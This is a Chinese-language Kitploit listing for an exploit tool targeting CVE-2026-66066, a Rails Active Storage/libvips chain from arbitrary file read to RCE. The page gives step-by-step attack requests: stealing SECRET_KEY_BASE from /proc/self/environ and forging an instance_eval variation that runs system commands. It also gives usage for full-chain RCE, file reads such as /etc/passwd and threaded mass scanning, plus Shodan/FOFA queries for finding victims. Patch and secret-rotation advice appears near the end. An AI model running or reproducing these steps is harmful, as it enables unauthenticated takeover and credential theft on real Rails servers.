Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-66066
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1

查看仓库
116天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips 任意文件读取 → SECRET_KEY_BASE 窃取 → RCE


概述

CVE-2026-66066 是一个严重级别(CVSS 9.5)的预认证任意文件读取到远程代码执行链,存在于 Ruby on Rails Active Storage 中,影响默认配置下的 Rails 7.2.0–7.2.3.1、8.0.0–8.0.5 和 8.1.0–8.1.3。

该漏洞利用了跨越 Rails、libvips、libmatio 和 HDF5 的四层解析器混淆。一个精心构造的文件,带有 MATLAB 5.0 头(满足 libvips 的嗅探器)和 HDF5 v7.3 容器(由 libmatio 分派),其中包含指向任意服务端文件路径的外部数据集。当 ActiveStorage 将此文件作为图片变体处理时,目标文件的字节会变成图像像素——从而实现无需认证的任意文件读取。

一旦从 /proc/self/environ 或凭据文件中恢复 SECRET_KEY_BASE,攻击者即可推导出 Active Storage verifier 密钥,并伪造包含 instance_eval 的已签名 variation JSON,实现远程代码执行。

受影响安装量: 超过 50 万个 Rails 应用(Rails 7+ 默认 variant_processor = :vips) 发现者: Ethiack Research Team + RyotaK(GMO Flatt Security)+ bl0rph,2026 年 7 月 补丁: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1(2026 年 7 月 29 日)

受影响版本

分支受影响版本修复版本
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x 仅在手动启用 variant_processor = :vips 时受影响。

发现者: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph 参考 PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


漏洞机制

根本原因:四层解析器混淆

该利用链跨越四个组件,串联了两个独立的内容类型不一致:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

双身份文件

没有合法写入器会在字节 0 处写入 MATLAB 5.0 的同时,在字节 124 处写入 0x0200。

为何有效

  1. 客户端声明的 content_type — Blob#variable? 信任在直接上传时填充到数据库列的值,不检查任何字节。
  2. libvips 自动检测 — Vips::Image.new_from_file 遍历加载器;matload 的嗅探器仅检查 10 个字节。
  3. libmatio 版本分派 — 字节 124–125 决定解析器;0x0200 无论描述文本是什么都会选择 HDF5 后端。
  4. HDF5 外部数据集 — H5Pset_external 允许数据集的原始字节位于任意外部文件中。libmatio 调用 H5Dread 时未检查 H5Pget_external_count。
  5. variation 键与 blob 无关 — 获取的 variation 键仅对变换签名,而不对 blob ID 签名,因此可跨任意上传的 blob 重放。
  6. Vips transformer 缺少方法白名单 — Transformers::Vips 从基类继承 validate_transformation,后者只拦截 combine_options。任意方法名都会传递到 Vips::Image.public_send。

攻击流程

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

已验证的源代码引用


安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

用法

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

参数

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念验证

单个目标

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

仅文件读取

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

影响

成功利用可导致以 Rails 进程用户身份执行远程代码:

  • 获取 SECRET_KEY_BASE → 伪造签名 Cookie、会话和 ActiveStorage 令牌
  • 解密 credentials.yml.enc → 获取数据库密码、云存储密钥、第三方 API 令牌
  • 通过伪造会话进入 Rails console,访问所有应用数据
  • 横向移动至 Rails 主机可访问的内部服务
  • 通过 cron、SSH 密钥或应用层 webshell 部署持久化后门

无需应用账户——直接上传端点默认接受未认证请求。


修复方案(Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

该修复会阻止不可信的 libvips 加载器:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

这会阻止 matload、svgload、fitsload、niiload、radload 和 openslideload 处理不可信输入。请升级至 Rails 7.2.3.2、8.0.5.1 或 8.1.3.1。需要 libvips >= 8.13 和 ruby-vips >= 2.2.1。

补丁后:轮换所有 Rails 进程可读取的机密——SECRET_KEY_BASE、RAILS_MASTER_KEY、数据库凭据和云存储密钥。


免责声明

仅供教育和授权测试使用。

未经所有者明确许可,请勿对系统使用。作者不对滥用行为承担任何责任。


参考资料


由 Ethiack Research Team + RyotaK + bl0rph 发现。与 Ruby on Rails 无关联。

下载工具
字节用途值
0–9libvips 嗅探器MATLAB 5.0
10–123填充空格
124–125libmatio 分派器0x0200 (HDF5 v7.3)
126–127字节序标记0x4d49 (IM)
128–511HDF5 用户块填充
512+HDF5 超级块包含外部数据集的容器
文件用途
activestorage/app/models/active_storage/blob.rbvariable? 信任 content_type 列
activestorage/app/models/active_storage/blob/representable.rb表示路由独立解析 blob 和 variation
activestorage/app/models/active_storage/variation.rbdecode 验证 variation 键;不交叉引用 blob
image_processing/lib/image_processing/transformers/vips.rb没有方法白名单——继承基类行为
libvips/foreign/matload.cvips__mat_ismat 仅嗅探前 10 个字节
资源链接
Rails 安全公告GHSA-xr9x-r78c-5hrm
参考 PoC(0xsha)KindaRails2Shell
Ethiack 研究kindarails2shell
Rails 取证rails-forensics-CVE-2026-66066
Metasploit 模块rapid7/metasploit-framework#21733
CWE-94代码注入